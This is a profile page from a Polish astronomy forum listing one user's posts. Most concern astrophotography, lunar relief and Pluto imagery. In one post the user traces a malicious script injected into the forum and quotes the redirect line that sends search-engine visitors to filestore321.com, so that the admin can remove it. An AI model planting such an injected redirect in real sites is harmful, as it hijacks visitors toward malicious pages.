Skocz do zawartości

szuu

Społeczność Astropolis
  • Postów

    5 644
  • Dołączył

  • Ostatnia wizyta

  • Wygrane w rankingu

    3

Treść opublikowana przez szuu

  1. Ponad 80% Amerykanów popiera obowiązek umieszczania na etykietach żywności informacji o tym że produkt zawiera DNA Nie wiedziałem czy to dać do dowcipów czy tutaj Ale nie wiem czy jest się z czego śmiać bo u nas wynik takiej ankiety mógłby być całkiem podobny! źródło: washington post (a tutaj po polsku)
  2. a tak przy okazji, czy ktoś wie co właściwie może podgrzewać matrycę w czasie pojedynczego długiego naświetlania? (i nie chodzi mi tu o naświetlanie skupionymi promieniami słońca). liveview albo nagrywanie w kamerze to wiadomo, następuje ciągle zczytywanie ładunków, elektronika przetwarza dane. ale przy naświetlaniu przecież "nic się nie dzieje" niezależnie od tego czy trwa 1/1000 sekundy czy miesiąc. elektrony powoli zwiększają ładunki na kondensatorach... a elektronika prawie mogłaby być wyłączona (przynajmniej te jej funkcje, które normalnie zużywają najwięcej energii: przełączanie tranzystorów)
  3. no niestety... wygląda na to, że ze zdjęć z użyciem libracji najłatwiej uzyskać informację o tym, że księżyc jest kulisty a co z bardziej interesującymi nas, mniejszymi szczegółami powierzchni? powiedzmy że libracja jest 14° (-7...+7) czyli przesunięcie na środku tarczy (najtrudniejszy przypadek) dla górki o wysokości 1 km będzie 2*sin(7°) ~ 0,24 km - mało, ale nie niewyobrażalnie mało! odpowiednio dużym teleskopem pewnie dałoby się uzyskać rozdzielczość w której takie przesunięcia byłyby już możliwe do analizy. ale z czego korzystają? - względny ruch i zasłanianie się obiektów - odpada - chyba że użyjemy libracji - różnice w ostrości obiektów bliskich i dalekich - odpada - chyba że jesteśmy na księżycu - oświetlenie/cieniowanie - i tylko to potencjalnie zostaje więc nie należy się spodziewać że algorytm który jest w telewizorze poradzi sobie z księżycem równie dobrze jak z typowym obrazem... przy okazji: nowe słowo na dziś: Photoclinometry
  4. ooo z nieostrości to jeszcze lepsze niż stereo, super! cienie to ciekawy pomysł, chociaż pewnie wymagałoby to jeszcze większej liczby zdjęć bo z jednego momentu wynika wysokość tylko dla wąskiego pasa terenu który rzuca cień w tym momencie
  5. z jednego to trudno ale jak się jest curiositym to czasem robi sie też zdjęcia stereo i wtedy już z górki! uzyskanie zdjęć stereo księżyca przy tym samym oświetleniu to niby tylko kwestia poczekania 4 tygodni ale czy w takiej sytuacji różnica byłaby wystarczająca żeby wyciągnąć z niej 3D...?
  6. ładne ale wygląda że te wysokości są całkowicie nietrafione
  7. hmmm, już myślałem że APOD działa teraz dobrze, bo jeden z postów zawiera datę, ale to link do wczorajszego obrazka a starsze zawsze są z datą... natomiast najnowszy ciągle ma nieprawidłowy link!
  8. faktycznie, ostatnio wzrosło poczucie zagrożenia ze wschodu i niekoniecznie chodzi o meteoryt czelabiński uwaga, może gryźć ziemię (vontrompka.com)
  9. literówka! robisz najlepsze fory... czy tam forumy
  10. zainteresował mnie ten trik więc wyśledziłem co sie dzieje, może to pomoże adminowi wyrwać chwasta. przede wszystkim dla zaobserwowania zjawiska otwieramy okienko incognito (za każdym razem nowe! poprzednie po jednym użyciu zamykamy!) dzięki temu reklama wyświetli się za każdym razem, bo za każdym razem on będzie myślał że ogląda to nowa osoba. normalnie reklama wyświetlana jest tylko raz dziennie - co jest bardzo sprytne bo nie denerwuje tak bardzo a przy pobieżnym sprawdzaniu admin może nawet pomyśleć, "e wydawało mi się, wszystko przecież działa dobrze" i w ten sposób system działa miesiącami i nikt go nie usuwa. wyszukujemy w goglach (albo innej wyszukiwarce, w yahoo zadziałało tak samo) coś co skieruje nas do astropolis klikamy żeby wejść w astropolis i właściwa strona pojawia sie na ułamek sekundy, po czym następuje przekierowanie na filestore321.com gdzie wyświetlają się 3 warstwy reklam i różne okienka. mechanizm ten jest zainstalowany na astropolis w jednym z javascriptów <script type='text/javascript' src='http://astropolis.pl/index.php?ipbv=bb58abc0e6afe42b946272d4967fc7b8&g=js'></script> normalnie fragment htmla wygląda tak: <script type='text/javascript' src="//ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script> <script type='text/javascript'>!window.jQuery && document.write('<script src="http://astropolis.pl/public/style_images/baisik34/js/jquery.min.js"><\/script>')</script> <script type='text/javascript' src="http://astropolis.pl/public/style_images/baisik34/js/cookie.js"></script> <script type='text/javascript' src="http://astropolis.pl/public/style_images/baisik34/js/ipbforumskins.js"></script> <script type='text/javascript' src='http://astropolis.pl/public/js/3rd_party/prototype.js'></script> <script type='text/javascript' src='http://astropolis.pl/public/js/ipb.js?ipbv=bb58abc0e6afe42b946272d4967fc7b8&load=quickpm,hovercard,forums,board'></script> a gdy "dodatek" jest aktywny: <script type='text/javascript' src="//ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script> <script type='text/javascript'>!window.jQuery && document.write('<script src="http://astropolis.pl/public/style_images/baisik34/js/jquery.min.js"><\/script>')</script> <script type='text/javascript' src="http://astropolis.pl/public/style_images/baisik34/js/cookie.js"></script> <script type='text/javascript' src="http://astropolis.pl/public/style_images/baisik34/js/ipbforumskins.js"></script> <script type='text/javascript' src='http://astropolis.pl/index.php?ipbv=bb58abc0e6afe42b946272d4967fc7b8&g=js'></script> <script type='text/javascript' src='http://astropolis.pl/public/js/3rd_party/prototype.js'></script> <script type='text/javascript' src='http://astropolis.pl/public/js/ipb.js?ipbv=bb58abc0e6afe42b946272d4967fc7b8&load=quickpm,hovercard,forums,board'></script> i wtedy (raz dziennie) skrypt pod adresem http://astropolis.pl/index.php?ipbv=bb58abc0e6afe42b946272d4967fc7b8&g=js zawiera polecenie: document.location='http://filestore321.com/download.php?id=b32ec3b8' czyli przekierowuje nas do reklam ciekawe od kiedy tak jest i jakie jeszcze rzeczy może robić...
  11. w wątku porównywaliśmy ceny amerykańskie i europejskie bo zaczęło się od pytania czy zniesienie ceł coś zmieni, więc wykres EUR/USD jest jak najbardziej na miejscu. a czy nie jesteśmy w strefie euro? teoretycznie nie, ale praktycznie chyba jesteśmy kurs EUR/PLN przez ostatnie lata jest dosyć stabilny, oprócz wstrząsu 2008/2009
  12. no i się doczekaliśmy teraz jeżeli coś kosztuje u nas tyle samo w euro co w ameryce w dolarach to znaczy że jest to wyjątkowo tania okazja, jeżeli ten kurs się utrzyma to sprzedawcy sie dostosują i już tak niskich cen (które nazywaliśmy wysokimi...) nie zobaczymy
  13. Fizyka - sposób na to, żeby atomy myślały o atomach!

    1. WielkiAtraktor

      WielkiAtraktor

      "Jeślibym tobie rozbił głowę, też nic bym prócz elektronów nie ujrzał, to pewne" (Klapaucjusz do Trurla).

  14. i jeszcze jeden przykład zdjęcia lub "zdjęcia", bardziej poważny niż "wiatraczek", bo chyba spełnia wszystkie kryteria fotografii? jest to obrazek ze stellarium. grafika komputerowa? ale dlaczego nie astrofotografia? - pozycje gwiazd pochodzą z katalogu, który powstał ze zdjęć, czyli te dane są formą obróbki zdjęcia (wielu zdjęć) - mgławicowe tło drogi mlecznej to też oczywiście zdjęcie - tekstura księżyca nałożona na kulę - zdjęcie (mapowanie zdjęcia na kulę to technika używana w "fotografii" szybko obracających się planet, zwłaszcza jowisza) - jasność księżyca jest nieproporcjonalna do jasności tła, wiadomo że tak się robi dla zmniejszenia dynamiki czyli podobnie jak przy oddzielnym przetwarzaniu i nakładaniu komety, obraz jest rekonstrukcją wykonaną na podstawie danych uzyskanych ze zdjęć, rekonstrukcją pod wieloma względami bardziej wierną niż byłoby to możliwe na fotografii tym samym sprzętem, nie ma na przykład zniekształceń wynikających z dyfrakcji, aberracji i odblasków. (to samo uzasadnienie jak przy komecie - chcemy mieć obraz który jest lepszy niż ograniczenia techniczne) i podobnie jak zaawansowana astrofotografia, ta rekonstrukcja zawiera dane nie tylko ze zdjęć ale z dodatkowych założeń które były w głowach jej twórców i algorytmach jakie stosowali, to jest element, którego nie ma w fotografii, zdjęcie można zrobić nie zakładając z góry co ma wyjść i jak z materiału wejściowego wyciągnąć coś czego się spodziewamy.
  15. ale może to oznacza że nasz sprzęt jest za słaby żeby zrobić zdjęcie odpowiedniej jakości, więc robimy grafikę? i nic w tym złego, róbmy te grafiki, ale chodzi o nazywanie rzeczy które robimy tak żeby odbiorca wiedział co to jest. równocześnie obok ktoś dysponuje pięciometrowym teleskopem i robi po prostu zdjęcie bo nie musi niczego rekonstruować. rekonstrukcja może też wydawać nam się dobra, ale w rzeczywistości będzie fałszywa. na przykład dokładnie w momencie kiedy kometa była w miejscu, w którym twórca ulokował jej obraz na tle gwiazd, wystapiło jakieś jednorazowe nieprzewidywalne zjawisko - rozbłysk, meteor, cokolwiek. obraz tego czegoś pojawił się tylko na jednej klatce i został odrzucony jako zakłócenie. w efekcie rekonstrukcja zawiera to co jej twórca myślał że powinna zawierać, a nie to jak rzeczywiście wyglądał ten konkretny moment. w odróżnieniu od tej rekonstrukcji, zdjęcie od kolegi obok (tego który bawi sie pięciometrowym teleskopem) prawidłowo pokazuje co się wydarzyło.
  16. ale czy ktoś w tym połączonym długim wątku nawoływał do niestosowania zaawansowanych technik przetwarzania obrazu? bo moją intencją było na przykład zwrócenie uwagi na to, jakie "mroczne" procedery są powszechnie stosowane w astrofotografii ale niedozwolone w normalnej fotografii, i skąd ta różnica. i w związku z tym, czy każda astrofotografia to rodzaj fotografii czy jej skrajne przypadki to już grafika? co można robić ze zdjęciem żeby jeszcze można było nazywać go zdjęciem? na przykład przed chwilą zrobiłem takie "zdjęcie" stosując promowaną ostatnio technikę lokowania... (materiał z wikipedii)
  17. tak, oczywiście chodziło o zniwelowanie olbrzymiej różnicy w jasności tych obiektów. natomiast techniką jaką zastosowano być może był też koronograf, bo na "normalnych" zdjęciach blask plutona rozciąga się jakoś inaczej no i czarny pasek zawsze wygląda tak samo, jak gdyby był czymś fizycznym. aczkolwiek z drugiej strony, oni tam stosują jakieś ciekawe przetwarzanie obrazu... te ciemne smugi w odblaskach nie moga być przecież prawdziwe?
  18. kryterium zgodności z rzeczywistością jest niedobre, bo według niego prawie dowolna praca graficzna mogłaby być zdjęciem, na przykład wkleję czyjąś postać na zdjęcie plaży - i okej, bo ta osoba rzeczywiście była kiedyś na plaży. mnie akurat wtedy tam nie było, ale to nie szkodzi, i tak zrobiłem zdjęcie! zdjęcie (fotos grafe - rysowanie światłem) niech jednak pozostanie tym czym było, odwzorowaniem intensywności światła padającego fotografowanej sceny na płaszczyznę obrazu. stackowanie tego nie narusza, każdy naświetlany piksel, niezależnie ile razy, pozostaje na swoim miejscu, to tylko przedłużenie czasu naświetlania a wynik się nie zmienia. wszelkie techniki działające globalnie na cały obraz też nie zmienią wzajemnych zależności między obrazem i światłem, które go utworzyło. ale selektywna obróbka, zaznaczanie fragmentów, wklejanie, rozdzielanie... to już jest tworzenie nowego obrazu na bazie fotografii. fotomontaż kojarzy się negatywnie więc nawet artyści stosujący fotomontaż nazywają go inaczej ale użyte przez hamala słowo "grafika" jest chyba okej?
  19. a CIA nie torturuje tylko stosuje rozszerzone techniki przesłuchania "nie zgwałciłem jej, wysoki sądzie, to była rozszerzona technika flirtu!" łączenie niezależnie uzyskanych obrazów to rzeczywiśćie jest już grafika a nie fotografia, ale przecież nic w tym złego, o ile celem nie jest oszustwo. dawniej, bez tej techniki zdjęcia komet były po prostu brzydkie... podobnie, przy jowiszu robi się z wielu klatek teksturę którą potem nakłada się na kulkę i uzyskujemy "zdjęcie jowisza" lepsze niż byłoby to normalnie możliwe.
  20. dzisiejsza wiadomość że jakoby mają pojawić się nowe zdjęcia plutona (odległość 1,4 AU więc ciągle bardzo daleko) przypomniała mi takie pytanie na stackexchange: "Dlaczego na zdjęciach Plutona robionych przez Hubbla widać czarny obszar?" odpowiedź żartownisia "Być może sie mylę, ale chyba po prostu Pluton przez ostatnie 8 lat zaczął oczyszczać swoją najbliższą okolicę żeby odzyskać utracony status planety. Wolno mu to idzie ale jakiś postęp widać!" a wy, drodzy forumowicze, wiecie dlaczego?
  21. od paru dni obserwuję tę kometę na zdjęciach (zgodnie z nazwą tego wątku "obserwacje" ) ale jednak zobaczenie jej na własne oczy przez lornetkę, mimo że daje technicznie gorszy obraz, to jednak są inne wrażenia! nareszcie fajna pogoda, kto nie widział ten trąba!
×
×
  • Dodaj nową pozycję...

Powiadomienie o plikach cookie

Umieściliśmy na Twoim urządzeniu pliki cookie, aby pomóc Ci usprawnić przeglądanie strony. Możesz dostosować ustawienia plików cookie, w przeciwnym wypadku zakładamy, że wyrażasz na to zgodę.